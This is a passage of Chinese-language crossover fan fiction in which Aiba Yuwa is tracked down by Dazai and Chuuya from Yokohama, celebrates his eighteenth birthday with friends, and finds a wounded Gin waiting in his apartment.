相叶佑禾迅速起身离开,然而已经晚了。 太宰治也不知怎麽从中原中也的魔爪里挣脱出来,窜到了一旁,正巧挡住了两人离开的路线。 “你反应这麽大不是知道我在说谁吗?”太宰治双手放在嘴边做喇叭状:“小矮子小矮子,中也是暴力的小~矮~子~” 中原中也额头肉眼可见地冒出几根青筋,他黑着脸沉声喊:“太宰,你去死吧!” 他一把朝太宰治抓去,太宰治却如同一条滑不溜秋的泥鳅,闪来闪去,在快被抓到时,猛地窜到了相叶佑禾身后。 正在狗狗祟祟准备溜走的相叶佑禾:? 中原中也转身朝太宰治抓去,在看到粉发少年时瞳孔猛地一缩,连忙停下动作,硬生生将即将挥上去的拳头止住。 拳风吹起相叶佑禾额前的碎发,露出少年那双紧张却有些愣怔的眼睛。 刚才赶着离开,相叶佑禾都没仔细去看揍太宰治的人,现在看到橘发少年这张熟悉的脸,甚至忽略了因为太宰治险些被误伤的怒火,整个人愣在原地。 他对这张脸并不陌生,甚至连名字也记得很清晰。 ——中原中也。 A5158。 是他实验室的室友,那时已经提前有意识的他,在去检查的路上总会看到这个泡在缸里的小孩。 “抱、抱歉。”中原中也收回手,面上闪过几分慌乱,但在看到少年那张带着几分病态白的脸时,抿了抿唇:“你……” 周围叽叽喳喳的讨论传入耳中,太宰治从相叶佑禾背后探出个脑袋:“哇唔,小矮子好可怕,佑禾,你可要注意这种动不动就使用暴力的人,我被打习惯了没事,但你可能会倒地流血不止!” 何止流血不止,相叶佑禾觉得他能当场死亡! 等等,被打习惯了没事?好家夥,太宰治看起来柔柔弱弱的原来这麽抗揍,中原中也刚才那一击居然只让他额头红了? “你被打是因为你活该,佑禾、相叶君又没做什麽让人生气的事。”中原中也差点被太宰治带偏,跟着喊相叶佑禾的名字。 “诶?你这是想在佑禾面前挽回自己的形象吗?迟了小矮子,佑禾已经看到你暴力的形象了!”太宰治抓着相叶佑禾肩膀的手晃了晃:“佑禾,要远离这种脾气爆容易发狂揍人的小矮子。” 相叶佑禾这才注意到太宰治对他的称呼竟然从相叶君变成了佑禾,他们什麽时候这麽熟了? 而且,既然说了中原中也容易生气揍人,就不要躲在他身后疯狂输出一些让人生气想打人的话啊! 他听着都想揍人了好不好? 相叶佑禾亲眼看着中原中也的脸色变得越来越阴沉,垂在身侧的手也紧紧捏成拳头,害怕的伸手去捂太宰治的嘴。 兄弟!别说了!他害怕! 或者您老人家换个位置说,别拿他当挡箭牌啊!! 然而不能他捂住太宰治的嘴巴,绷带少年被一只手抓住‘咻’ 地扯了出去,速度快得在他眼前划过一道残影。 “太、宰!”中原中也咬牙切齿地将人砸在桌上。 “呃……咳咳!”太宰治抬起一只手,随后又被抓住那只手狠狠甩向另一个方向。 相叶佑禾:“……” 相叶佑禾:“……” 你们横滨人可真可怕啊。 相叶佑禾咽了咽口水,看向身侧一边护着蛋糕,一边用叉子把蛋糕往嘴里送吃得津津有味的江户川乱步,小声感叹:“乱步,我离开横滨真是做得最正确的决定了。” 江户川乱步一顿:“其实横滨还是有正常人的,比如社长和……” 话音未落,远处传来的警笛声让四人同时一愣。 相叶佑禾看了眼躲在远处窃窃私语的人,艰难地眨了眨眼:“该不会是……” “就是你想的那样,有人报警了。”江户川乱步肯定道。 “都怪小矮子,都说了到米花町尽量不要引起别人的注意。”太宰治见缝插针地‘污蔑’中原中也。 中原中也神色一僵,异能者不能离开横滨,首领派他们来米花町出任务时便再三提醒过他们一定要低调行事,千万不能使用异能力,要是被警方抓住暴露了,遣送回去是小,被政府加强管控是大。 “咳……”中原中也不好意思地咳嗽一声,嘴硬道:“用不着你说!我知道!” 随着警笛声靠近,几人甚至能听到外面的交谈声。 “警官先生,这里!里面有孩子在打架,其中一个都快被打死了!” “是啊,我看到那个被打的孩子身上缠满了绷带,平时肯定没少被打吧!” “天可怜见的,这些不良少年到底要干什麽?!” 这些? 相叶佑禾神色诡异,应该没有把他算进去吧? 说起来来的警察是谁?应该没有认识的吧? 脑海里浮现出一张张熟悉的警察面孔,相叶佑禾恨不得遁地消失,或者把这两个异能者塞到箱子里。 “噗嗤。”太宰治抱着手皱眉,可怜兮兮道:“啊~好痛!” 他往侧边走了两步,一副伤势太重无力站稳的样子靠在相叶佑禾身上,小声道:“佑禾,一会我们把错都推在小矮子身上就行。” “我听得到!太宰你这个混蛋!”中原中也炸毛。 太宰治:“诶?本来就是你的错,你要是不打我也不会被好心人误会报警,啊,说错了,不是误会,是事实,中也是不良少年,等会就老老实实在警察面前认错,把我们都摘出去……” 相叶佑禾:“……” 这人真是没有一顿打是白挨的。 “烦死了,闭嘴!”中原中也不耐烦地骂了一声太宰治,‘嗖’地朝他们闪来。 相叶佑禾以为两人又要打起来,连忙往旁边远离以免被误伤,正好,他要在警察面前充当一个被莫名其妙卷入其中的无辜路人,先撇清关系,再想办法解决这些人。 他刚抬脚,腰间便被一只手勒住。 “走了。” 中原中也的声音在耳畔响起,随后,相叶佑禾的头发被风吹得淩乱,周围的景色飞速后退。 身材娇小的橘发少年左右手各捞着一个人,肩上扛着一个,速度飞快地带着三人从窗口翻了出去,远离这家咖啡店。 迟了一步的警察只看到被风高高卷起的窗帘和空荡荡的桌子。 “打架的人呢?” “呃……跑了。”躲在收营台下的服务员说道。 “???”—— 相叶佑禾同样满头问号。 跑就跑,为什麽要带上他啊!他跟这些人不是一夥的啊! 但是人都被带出来了,就算再怎麽狡辩,在外人看来他们就是一夥的。 况且这对他来说也确实是最好的选择。 按当时的情况来看,就算解释他们不认识警方也不会相信,不如直接跑了,没看到人就不知道是谁。 想到这,相叶佑禾偷偷使用异能力把咖啡厅里的监控抹了后,并将摄像头损坏。 说起来……他这算是变相给这两人善后了吗? 相叶佑禾陷入沉思,没有发现一旁太宰治唇角愈发深邃的笑容。 即使没有动用异能力,中原中也的速度也快得出奇,他扛着三人穿过喧嚣的城市,翻进无人的小巷,晚风将他们的头发吹得乱糟糟的,下一秒,传来一声奇怪的干呕。 中原中也像是被烫到一般一把将肩头的太宰治扔了出去,满脸嫌弃:“啊啊啊啊你这混蛋别吐我身上了!” 他顺带把另外两人放下,相叶佑禾一脸菜色地往后退了两步,被江户川乱步撑住,但后者也没好到哪里去。 “唔……乱步大人刚吃下去的甜品都要吐出来了。” “呃……抱歉,你们还好吧?”中原中也看着相叶佑禾愈发苍白的脸有些内疚,他左右看了看,留下一句‘等着’后,快速消失在眼前。 没过多久,少年提着几瓶水走回来分给几人,相叶佑禾那瓶还特意把瓶盖拧开了。 相叶佑禾神色复杂,还挺贴心的。 “小矮子,你该不会在报复我们吧?”太宰治靠在墙角,神情恹恹。 “哈?”中原中也眉头一竖:“我才不会做这种幼稚的事!” “呼,差点就要被警察抓到了,我还担心要是被当成不良少年抓进局子里,没有家长来领该怎麽办。”太宰治侧头看向粉发少年,笑道:“不过中也的技术真是太差了,对吧对吧?” “就你这混蛋挑三拣四的!早知道就该把你扔在那!”中原中也不爽道。 太宰治没有搭理中原中也,相叶佑禾看着这个查找‘同夥’一起批判同伴的少年,并没有直接回应他。 哪怕他们刚刚才一起经历了一件刺激又抓马,能让人降低防备心,快速拉进距离的事。 “佑禾,离他远点。”江户川乱步一把将相叶佑禾拽过来,远离了一些太宰治。 “他们对你图谋不轨。” “嗯,我知道。”相叶佑禾目光从两人身上扫过,落在中原中也身上时顿了顿,随后又移开。 面对来自横滨的不速之客,他神情冷淡,语气不含一丝温度:“既然能找到我,说明你们知道我的过往。” 相叶佑禾单刀直入:“我不会跟你们走的,说吧,要什麽信息。” 无论是说自己是柔弱脑力派的太宰治也好,还是把太宰治按在地上暴揍的中原中也也好,这两人体术都很强,非常强。 他们铁了心要带走他,相叶佑禾这个真正的脆皮毫无反抗能力,惹怒了他们,说不定还要连累乱步遭殃,那不如先用一些交易来稳住他们。 反正来找他的无非就是为了那些事。 相叶佑禾眸中闪过一丝厌恶,但又有一种习以为常的平静感。 空气陷入一阵安静,原先还算和睦的表象被打破,只剩下剑拔弩张的气氛。 中原中也张了张口,又不知道从什麽地方说起比较好。 他是在接到首领‘将天眼带回横滨’的命令时,才知道相叶佑禾还活着的事,也是这个时候从首领口中得知对方实验体的身份。 这个和他同岁的少年,和他一样都是实验体,出自同一个实验室,说不定还是相邻的室友。 但相叶佑禾比他先醒了两年,这个被打上失败标签的少年成为了港口黑手党最趁手的工具。 无论是相叶佑禾曾经隶属于港口黑手党还是异能者的身份,他都应该回到横滨。 但是中原中也并不想将相叶佑禾带回去。 他们是无家可归的野犬,只能被束缚在横滨,但相叶佑禾不是。 他挣脱了横滨的枷锁,成为了米花町的一份子,有了属于自己的羁绊和想要的生活,他应该留在这里。 中原中也一直想见相叶佑禾,可真正见到时,又不知道该说什麽。 毕竟他们的出现打破了相叶佑禾来之不易的和平生活。 “他们不打算带你走。”江户川乱步的话让相叶佑禾和中原中也都愣了一下。 名侦探看向绷带少年,绿色的眸中闪过一道璀璨的光芒:“对吧?太宰治。” 晚风吹过小巷,拂起几人的发丝,太宰治喉咙间溢出一声轻笑:“是啊。” 暂时……不打算。 第76章 我在看着你 相叶佑禾错愕地看向太宰治,他本来是不会相信对方的,要真的不想带走他,又何必出现在米花町。 但这是乱步说的话,名侦探江户川乱步不会错。 “太宰,你……?”中原中也显然也很惊讶,他自己就算了,但太宰? “诶诶?你们什麽表情,为什麽都看我,是把我当成什麽大反派了吗?”面对三人的注视和惊讶,太宰治死鱼眼,不满地吐槽:“不公平,明明我们都是从同一个地方来的,乱步君就算了,佑禾你为什麽连中也也不防备?” 相叶佑禾:“……” 他没有防备吗?只不过是太宰治太过危险他的注意力更多的放在对方身上,怎麽就变成不防备了! “诶?”相叶佑禾居然不防备他吗?中原中也惊讶地看向粉发少年。 “歧视!这是赤裸裸的歧视!”太宰治尽情控诉着,就差像小孩子一样在地上撒泼打滚。 相叶佑禾被太宰治喊得都不好意思了。他承认,他确实因为曾经的‘室友’情对中原中也稍微有那麽一点点特殊,但也就一点点而已,并不影响他们是敌人。 但是现在在太宰治的喊声中,这一点点好像就变成了亿点点。 相叶佑禾终于憋不住反驳他:“我才没有!” 太宰治:“你有!” 相叶佑禾:“我没有!” 太宰治:“你有你有你有你有!” 相叶佑禾:“我没有我没有我没有!” 江户川乱步:“……” 中原中也:“……” 华灯初上,这片和平的城市就该拥有少年斗嘴的幼稚场景,江户川乱步盘腿坐在地上,一只手杵着下颚,一只手去叉放在腿上的蛋糕吃。 末了,还问了问旁边的中原中也:“要吃吗?” 中原中也看了眼名侦探,神色复杂。 以他们各自的身份来看,适合做这种事吗? 他拒绝:“不了。”如果是红酒的话…… “在这边未成年是买不到酒的。”江户川乱步看了眼不知道是被气的还是被说得不好意思,脸色微微泛红的相叶佑禾,笑眯眯地说:“不过让佑禾请他朋友帮忙的话,说不定可以。” 相叶佑禾正看着任性听不进去别人说话的太宰治,在心里下定决心下次再看到中原中也揍他的场面时,一定要举把小旗子在旁边给中原中也加油,听到江户川乱步的话一顿。 能无视法律给未成年买酒的朋友,除了某个银发混蛋好像也没谁了。 “不行,我不会做违法的事。”相叶佑禾脸不红心不跳的说。 他并不想琴酒被横滨的人过多关注,当然,只是因为他不想身边的亲朋好友们被注意到,琴酒只是顺带的而已。 江户川乱步挑了挑眉,没有多说,只是拍了拍中原中也的肩膀:“那帽子君,你要是想喝酒就只能尽快回去了。” “哈?”中原中也道:“我又不是什麽离不开酒的酒鬼。” 他虽然不想把相叶佑禾带回去,可也不能违背首领的命令,中原中也左右为难,还没想到怎麽解决这个问题,但肯定不能就这麽回去。 况且太宰这个混蛋,嘴上说着不,实际可没看出一点要走的意思。 中原中也看了他一眼,少年脸上还带着不满,气鼓鼓的样子似乎还在为刚才的区别对待不高兴,那被夜色模糊了的眼睛,却依旧捉摸不透。 啧。 “既然不打算带我回去,那你们还留在这里做什麽?”即使相信江户川乱步的话,相叶佑禾也不相信太宰治和中原中也。 他们不会放弃自己的,两人冒着暴露后被政府管控得更严实的风险还留在这里,就是最有力的证明。 “还真是无情啊。”太宰治不知道什麽时候顺走了相叶佑禾的书包,正有一搭没一搭地戳着玩。 看到快要被打开的书包,相叶佑禾冷酷无情地将其抽走,面无表情地说:“因为你们很有可能是我的敌人,在弄清楚你们的目的之前,我只是保持着该有的态度而已。” 更无情了! 太宰治看着油盐不进、连表面功夫都不愿意做的相叶佑禾叹了口气。 “有什麽目的啊,小矮子,快说你的目的是什麽!” “啊?”突然被点名,中原中也下意识看向相叶佑禾,对上少年冷淡的目光后,心里五味陈杂。 来之前看过数据,横滨的‘天眼’和米花町的相叶佑禾是两个极端,前者冷漠无情到宛若没有感情的机器,后者则是个温和有礼貌的好孩子,照片上的粉发少年无论何时都带着浅浅的笑意,如沐春风。 现在因为他们的到来,少年平静的生活被打乱,整个人都变得冷冰冰的,不近人情。 中原中也看了眼江户川乱步,有其他人在,他不好直言,于是隐晦的坦白:“因为我们曾经拥有同样的经历,我想你现在这样就很好,并不想将你来之不易的生活打破。” 因为他们拥有同样的经历,中原中也深知他能过上如今的生活有多不容易。 相叶佑禾愣了愣,眸中闪过一丝复杂。 中原中也,他这个幼时的‘室友’还真是个有良心的好人。 出自同一个实验室,相叶佑禾作为‘天眼’的期间一直有关注中原中也的动态,来到米花町后,他习惯性地想要继续看看对方,后来还是作罢了。 想要开启新生活,最安全的做法就是告别过去,横滨这个地方,以及生活在上面的人都与他再无瓜葛。 没想到他这个室友,竟然成为了一个温柔的人。 相叶佑禾唇角勾起一个浅浅的微笑,在这糟糕的情况下,竟然还有一个意外之喜。 随后,想到被太宰治捉弄的中也,又陷入了沉思。 该说这份良心好还是不好呢? 少年紧绷了一晚上的脸终于再次变得柔和了起来,粉色的发丝随风轻盈的舞动着,如同飘落的樱花一般,带着春日特有的气息,让人不忍将其破坏。 中原中也也跟着勾了勾唇。 “说起来,我还要感谢你。”在橘发少年困惑的目光中,相叶佑禾解释道:“我离开横滨的契机是镭钵街的那场爆炸。” 中原中也瞬间明白了过来,数据上说,当年‘天眼’在镭钵街附近出任务,正巧被卷入了那场爆炸中——死亡。 “不用谢,我什麽都没做。”反而还差点让相叶佑禾死掉。 不需要使用异能力调取数据信息,中原中也是怎样的人,相叶佑禾已经有了大概的了解。 那麽只剩另一个人了。 相叶佑禾看向似乎在看好戏,又似乎在走神的太宰治。 这个难以捉摸、浑身弥漫着一股深沉而浓郁的黑暗的少年,到底又因为什麽不立即将他带走? “那你呢?太宰治。” “我啊。”少年唇角笑意颇深,风吹起他额前的碎发,露出他那只裸露在外的眼睛。 “当然是让森先生头痛啦!”太宰治鸳色的瞳孔‘砰’地变得亮晶晶的:“那个变态萝莉控大叔的命令有什麽好完成,他不仅不给我能无痛死亡的药物,还总是在我入水的时候打扰我,我才不要乖乖完成他的任务,看他头大的表情不觉得超——有趣吗!” 众人:“……” 相叶佑禾嘴角抽搐了两下,该说不愧是第一次见面就在他面前被搭档打了两次的太宰治吗?如此幼稚的理由竟然意外的合理。 中原中也额头青筋跳了跳:“太宰,对首领……” 太宰治一把揽住相叶佑禾的胳膊,笑眯眯地说:“难得来一趟米花町,接下来就让我们在米花町放纵的玩耍吧!” 自此,相叶佑禾身边又多了几个麻烦又引人瞩目的人。 “佑禾,那个捧着女孩子手邀请对方殉情的少年,是你朋友吗?” “佑禾,这个一脚就把连环杀人犯踢到墙上的橘发少年,也是你朋友吗?” “小佑禾,你的侦探朋友好聪明,只看了一眼就把案件破解了!不过他现在在警局都快被零食和甜品淹没了,你要来拯救一下吗?” “佑禾!你那个叫太宰和中也的朋友又打起来了!” “佑禾!你不是说乱步牙痛不能再吃甜品吗?今天我又在波洛看到他了耶。” “佑禾!太宰……” “佑禾!中也……” “佑禾!乱步……” 短短一周,相叶佑禾满脸疲惫,他开始后悔自己的决定。 他当时一定是脑子抽了,竟然会觉得把这几个家夥留在身边更好,一来可以监视并找机会下手,二来还可以把他们当免费工具人,帮忙解决组织的人。 虽然确实有点成效,攻打黑衣组织的计划略有进展,但是……他要累死了! 这几个烦人的家夥什麽时候回横滨啊! “小佑禾,怎麽愁眉苦脸的?”蛋糕店里,萩原研二戳了戳相叶佑禾的脸颊:“今天可是你的生日,小寿星怎麽不开心?” “太宰那家夥今天又烦你了?等会我帮你揍他。”中原中也拍了拍他的肩膀,一副安心又可靠的样子。 相叶佑禾:“不用了……”从一开始的浅揍一下到愈演愈烈,最后不小心砸坏了店铺的东西,然后让他来付钱吗? 中原中也读懂了相叶佑禾的眼神,他咳嗽一声摸了摸鼻子:“都怪太宰,自己的钱包掉水里就算了,还把我的顺走也掉水里……” 相叶佑禾:呵呵。 “先生,这是你们订的蛋糕。”服务员将包装好的盒子送到几人面前,看向相叶佑禾,笑道:“相叶君,您朋友乱步先生昨天在我们这吃了一块慕斯蛋糕、一块蜂蜜蛋糕、两块布丁以及一杯果汁,依旧记在了你的账上,您看现在付款可以吗?” “……可以。”相叶佑禾拿出瘪瘪的钱包,他觉得再来几天,就要去干点违法犯罪的事获取金钱了。 “噗……”萩原研二看着欲哭无泪的相叶佑禾忍不住笑出声:“我来吧。” 虽然这几个少年每天麻烦不断,但能和小佑禾玩到一块,并带着他越来越有这个年龄该有的活泼,还能让他‘忘记’某个男人,萩原研二感到十分开心。 “以后乱步君的账就都记在我这边,小佑禾也是,不过呢……”萩原研二眨了眨眼:“要和我们一起才行。” 啊,是在不满意他们一起出去玩的次数吗? 相叶佑禾点了点头:“好。” 三人走出蛋糕店,前往聚会的地点为相叶佑禾庆生。 “说起来……”中原中也将手里的蛋糕提起来看了看:“乱步昨天吃了那麽多,今天不能再吃了吧?” “中也,言之有理!”相叶佑禾义正辞严地说:“为了乱步的牙齿好,今天只能忍痛不给他蛋糕了!” 中原中也突然有些同情江户川乱步了:“其实再多一块也没什麽的,毕竟今天的蛋糕寓意不一样……” “不行!”相叶佑禾坚定地说:“难道中也你想看乱步牙疼得满地打滚吗?” 中原中也:“……” 相叶佑禾笑眯眯地说:“所以就这麽说定了,到时候就由武力值最高的你来保管乱步那份蛋糕!” 中原中也有些无奈:“知道了。” 一想到乱步瞪大眼睛控诉他的样子,相叶佑禾就一阵舒畅,他从中也手里接过蛋糕,用眼睛来划分一块能让乱步心痛的蛋糕。 视线落在令人垂涎欲滴的草莓上,相叶佑禾脑海里划过一抹银色的身影。 如果琴酒还在,这个生日他会做什麽呢? 相叶佑禾一顿,琴酒会做什麽跟他有什麽关系? 他将脑海里的画面挥去,正打算离开时,一抬头看到了站立在道路对面的银发男人。 他倚靠在车身上,修长的指间夹着一根香烟,烟雾袅袅升起,他却似乎没有吸一口,也不管那逼近皮肤的火星,只是静静地凝视着前方的甜品店,亦或者说——里面的人。 第77章 登堂入室 相叶佑禾的视线穿过川流不息的人群,与对面的银发男人四目相对,这一瞬间,周围鼎沸的人声如潮水般褪去,只剩下彼此交汇的视线。 相叶佑禾已经有一段时间没有见到琴酒了。 这个冷酷无情的杀手做事永远都是这麽果断,决定还给他平静生活后,就真的再也没有出现在他视野里。 此刻再次看见男人熟悉的面容,相叶佑禾心里升起一股奇异的开心,下意识地想要跟他打招呼,想要跑到他面前跟他说说话,听一听这个男人的声音。 手在抬起那一刻感受到了几分重力,是他提着的生日蛋糕。 蛋糕的重量将相叶佑禾的思绪拉了回来,阻止了他下意识的举动。 ——他和琴酒已经没有关系了,他们是陌生人,不应该打招呼。 每每想到这,相叶佑禾总有些咬牙切齿的感觉,想要骂一骂琴酒这个混蛋,但又觉得自己很莫名其妙。 他为什麽要生气?明明这是他一直梦寐以求的结果,琴酒尊重了他的想法,从他的世界里退了出去,他应该感到开心才对。 现在,他应该假装没有看到琴酒,或者就像不经意瞥见一个长相帅气、气质特殊的路人,多看两眼就收回视线,继续自己该做的事。 但不知怎的,他的目光就是无法移开。 琴酒的眼睛还是一如既往的深不见底,墨绿色的瞳孔如同一汪寒潭,阳光斜斜的洒落在脸上,却丝毫没能融化那凛冽的寒意。 他的视线落在相叶佑禾的脸上,少年上一刻还一脸狡黠的和身旁的朋友交谈着,下一刻笑容便瞬间消失。 理由很简单——看到了他。 从相叶佑禾进这家蛋糕店时,琴酒便已经在这了,或者说更早的时候,早到从分道扬镳那一刻开始,琴酒就没有停止对相叶佑禾的注视。 不是时时监督,但也知道相叶佑禾的动向。 理所应当的,他知道骤然出现的太宰治、江户川乱步、中原中也,也知道他们每天热闹又丰富的行动轨迹和‘被迫’变得生动鲜活的相叶佑禾,以及……他身边的保护者成为了这些人。 暂且可以说他的选择是正确的,可琴酒心头还是难以抑制的涌出一股怒气。 他想要相叶佑禾的生动鲜活是因为他而产生,想要身侧站着的是他、想要那双眼睛一直看到自己、只能看着自己。 有那麽一瞬间,那股暴虐的情绪让琴酒想要打破这个无形的默契,把相叶佑禾带回组织,留在身边,永永远远。 舌尖缓缓扫过犬齿,琴酒最终还是抑制住了这个念头。 他的目光一寸一寸地扫过粉发少年的脸,平静却又贪婪—— 相叶佑禾突然停下的动作引来两人的注意力,顺着他视线方向看去,萩原研二在看清银发男人后微微一愣。 黑泽阵怎麽会在这? 作为知道他们分手、并为相叶佑禾逐渐‘忘记’黑泽阵而感到欣慰的萩原研二,担忧地看向身侧的少年。 好不容易走出来,可别又陷进去了啊! 不行,他要阻止一下! 中原中也虽不知道他们的情感往事,却在感觉到萦绕在琴酒周围那不同寻常的气势时,立刻警备起来。 这个男人不简单。 他很危险。 是敌人吗? 目标是相叶佑禾? 萩原研二和中原中也虽想法不同,却同时靠近了一些相叶佑禾,想将人挡在身后。 在他们有动作的同时,相叶佑禾和琴酒平静地移开了目光。 “走吧,我已经选好了给乱步哪个部分了。”相叶佑禾提着蛋糕,转身离开。 他仿佛从来没有看到琴酒,又或者根本不认识对面那人一样,若无其事地笑着继续着先前的话题。 可惜那只紧紧攥着礼盒丝带的手,暴露了他的不平静。 马路对面的琴酒也坐回了车上。 “大哥,要离开了吗?”伏特加小心翼翼地问。 琴酒一言不发,那双深不可测的眼睛,一直注视着某处。 香烟燃烧殆尽,灼热的灰烬烙在皮肤上,他却连睫毛都没有颤动分豪,任由那抹猩红在指间留下狰狞的痕迹。 他看着跟在相叶佑禾身侧的两人,唇角扯出一抹冰冷的弧度:“呵。”—— “砰!”餐厅里,手持礼花筒里喷出五颜六色的彩带和碎片。 萩原研二、松田阵平、江户川柯南、毛利兰、中原中也等等,相叶佑禾的朋友们围在一起,齐声送上祝福:“小佑禾/佑禾18岁生日快乐!” “谢谢。”相叶佑禾笑着接受大家的祝福,以前的生日都是奶奶陪着他一起过,奶奶离开后,工藤新一几人也总会在当天询问他要不要一起去吃饭什麽的,但都被相叶佑禾以要兼职之类的理由拒绝了。 这次他本来无意过生日,但恰巧周围有那麽两个任性的家夥,莫名其妙就演变成了一大群人给他庆生。 一直以来,相叶佑禾都在避免成为某些事的中心,他想低调到被人忽视,这还是第一次面对如此热闹的场景。 他是这场聚会的中心,接受着好友们真诚的祝福,相叶佑禾不太习惯,却意外的感到很开心。 融融的暖意自心底荡漾开来,他喜欢这样的生活。 只是,好像还缺了点什麽。 他在众人的目光中,双手合十许愿,吹灭蜡烛后,正准备切蛋糕时江户川乱步突然说道: “佑禾,我们是最好的朋友吧?” 相叶佑禾扬眉,眨了眨眼睛:“你们都是我最好的朋友呀。” 众人一顿,尤其是米花町的几人都快感动哭了。 “真是少见的看到佑禾你这麽坦诚!”铃木园子捂着胸口,掏出一块手帕擦着眼角不存在的泪水:“我都感动哭了!” 江户川柯南露出死鱼眼:呵呵,园子这女人真夸张。 他眨巴着眼睛凑过去:“相叶哥哥,我也是吗?” 相叶佑禾:“……” 工藤新一这小子装小孩真是越来越得心应手了。 “当然是。”相叶佑禾把一块水果最多的蛋糕切出来,在江户川乱步渴望的眼神中递给了柯南,笑眯眯道:“来,柯南,给你。” “佑禾!你是故意的!真是太过分了!乱步大人要不开心了!”江户川乱步大声控诉。 相叶佑禾一脸无辜:“可是你这几天甜食的摄入已经超标了,要是牙齿再痛的话我怎麽跟你的监护人交代呀。” 他语重心长道:“乱步,我也是为了你好呀。” “哼,别以为乱步大人不知道,你就是故意的!”江户川乱步本想自己从剩下的蛋糕里切一块,反正他比起佑禾身受好多了,但刚有动作,中原中也便抢先把蛋糕移了个位置,速度非常之快。 “哇哦,一来就看到小矮子护食的画面,中也,你是穷到几天没吃饭了吗?”窗边传来某道欠揍的声音。 中原中也看着从窗户翻进来的太宰治没什麽好脸色:“都开始切生日蛋糕了,你居然才来。” 距离最近的松田阵平走过去,将少年从上到下扫了个遍。 嗯,衣服是干的,没有‘掉’进水里,看上去还算整洁,没有受伤。 “放心放心,只是路上遇到了一个有意思的人,耽误了一会。”太宰治摆了摆手,从窗户跳下来。 “你该不会又找女孩子殉情了吧?”相叶佑禾紧紧盯着太宰治的脸,似乎只是打趣,却又想要从中试探着什麽。 “我怎麽会在今天这种特殊的日子邀请人殉情呢?”太宰治走过来,把蛋糕挪到相叶佑禾面前:“到了我到我了!” 相叶佑禾看了他两眼,没有说什麽,等他将蛋糕分完后,一回头,发现江户川乱步已经吃上了蛋糕。 他一边吃一边说着自己处理过的案件,旁边的江户川柯南听得双眼亮晶晶的,还怕对方噎着或者口渴,倒了好几杯不同口味的果汁、汽水。 相叶佑禾:“……” 中也呢?中也不是说好了会保护好蛋糕吗? 一块蛋糕‘咻’地朝他脸飞来,被眼尖的萩原研二用碟子拦下,相叶佑禾一扭头,看到了被中原中也暴打的太宰治。 “……” 热闹很好,但……是不是热闹过头了? 为了照顾这群孩子们的身体健康,聚会在九点半结束。 相叶佑禾心情不错,就是精神状态不太好。 每次和太宰这几个家夥待在一起,都觉得自己当爹当妈又当孩子的。 当爹当妈是指给他们付钱和怕他们做出奇怪的举动引来麻烦,当孩子则是被两个黑手党保护得严严实实的。 唉,这种日子什麽时候才是个头,相叶佑禾感觉心脏都有点不够用了。 走廊上静悄悄的,四月的天气很舒适,风中都带着淡淡的花香。 他拖着疲惫的身体回家,手里提着两个装满了礼物的纸袋,只是,心里却缺了一点什麽。 人生怎麽可能完美无缺呢? 这样已经很好了。 微风扫过少年的碎发,露出那双有些落寞的眼睛。 他摇了摇头,推开门,清冷的月光自窗棂倾泻而下,在客厅的地板上漫开一片银辉。 银发男人静坐在沙发上,似乎与这片月色融为一体。 第78章 孤男寡男,共处一室 相叶佑禾搭在开关上的手指一顿,夜风从半敞着的门吹了进来,现在正值樱花绽放的季节,风中都带着淡淡的花香,它掠过相叶佑禾身侧,轻轻撩起琴酒散落的长发。 琴酒今天没有戴那顶标志性的礼帽,他只穿了件简单的白色衬衫,衬衫领口随意敞开着,黑色的西装裤包裹住修长的双腿,勾勒出淩厉而优美的线条。 他懒散地坐在沙发上,一只手臂搭在靠背上,如瀑布般的银发在月光下泛着冷冽的光泽。 相叶佑禾怔住,显然没有想到琴酒会出现在家里。 他提着袋子的手紧了紧,那份缺了什麽的遗憾好似在这一刻被填补,比他想法更快的,是心里浮现出的那丝连自己都不曾察觉到的欣喜。 琴酒双眸微掀,朝门口看去,低沉的嗓音在安静的夜晚格外清晰:“不进来?” 相叶佑禾骤然回神,像是被踩住尾巴的小猫,急急忙忙掩饰内心的想法:“这是我家,我当然要进。” 他的语气很平淡,甚至没有像以前一样带着些许怒气去反驳琴酒。 相叶佑禾把门关上,打开灯后走进来,将身上的外套脱了挂在衣架上。 琴酒没有开口,他一时也不知道说什麽。 问琴酒为什麽要离开? 可这是他想要的。 质问琴酒那天为什麽亲他? 这不是明知故问吗?搞得好像他很想听某些话一样! 他们俩现在是什麽关系?对话又要用什麽身份…… 相叶佑禾想不通,也不想去主动开那个口,索性直接不搭理对方。 他把衣服挂好后,提着袋子走到储物柜前,把大家送给他的礼物一一拿出来好好摆放。 在这期间,哪怕是背对着琴酒,相叶佑禾能清晰地感觉到琴酒的视线如影随形地黏在自己身上。那道锐利却一点都没有令人不适的目光,从发梢流连到指间,描绘着他的每一个动作。 相叶佑禾原本流畅的动作变得越来越生硬,速度不自觉地加快了许多,想要快点结束,逃离这有些灼热的目光。 下一秒,相叶佑禾又觉得这样岂不是输给琴酒了? 莫名其妙跑到他家里来,什麽也不说,还想用视线赶跑他……到底谁是这个家的主人? 琴酒这个人真是越来越过分了。 他在心里骂着琴酒,故意将动作放慢许多,甚至还拿了湿毛巾来擦拭一些根本没必要擦拭的东西。 在相叶佑禾完全把某些人遗忘,沉浸在收拾东西的快乐中时,琴酒如冰雪般冷冽的声音传来。 “过来。” 相叶佑禾一顿,没有理他,继续擦拭着手里的摆件。 他喊:“相叶佑禾。” 琴酒的语调很慢,这个再简单不过的名字在他唇齿间吐出,平静的嗓音里带着几分若有似无的黏连感,令相叶佑禾心头一颤。 琴酒:“过来。” 相叶佑禾头也不回的道:“不过。” 即使回话,他也依旧背对着琴酒,一副不想搭理对方的样子,只是手里擦拭的动作却慢得出奇。 没有人说话,空气再次陷入安静。 “相叶佑禾。” “我受伤了。” 相叶佑禾猛地转头,朝男人身上扫去。 见到琴酒的第一眼,只凭借月色根本没法把人看清,开灯后又因为不知道他们现在该怎麽相处,刻意避开和琴酒视线接触,从而到现在才发现琴酒身上的伤。 腰侧的白衬衫上洇出鲜艳的红色,那抹红色正以肉眼可见的速度晕染开。 琴酒的声音一如既往的平静,他似乎一点都不在意自己的伤,墨绿色的瞳孔沉沉地盯着相叶佑禾,一字一句道:“过来给我包扎。” 相叶佑禾突然很生气,他一把将毛巾朝琴酒砸去,可又担心砸到伤口刻意偏离了几分,结果就是挂在了沙发上,毫无威胁。 “你不会去医院吗?!” 琴酒没有说话,淡淡的血腥味涌入鼻腔,相叶佑禾怒气冲冲地把医疗箱拿出来,走到他跟前狠狠踢了他一脚。 相叶佑禾语气冷冷地说:“转过来!” 琴酒转向相叶佑禾,那被血液染湿的衬衫整个暴露在视野中,愈发刺眼。 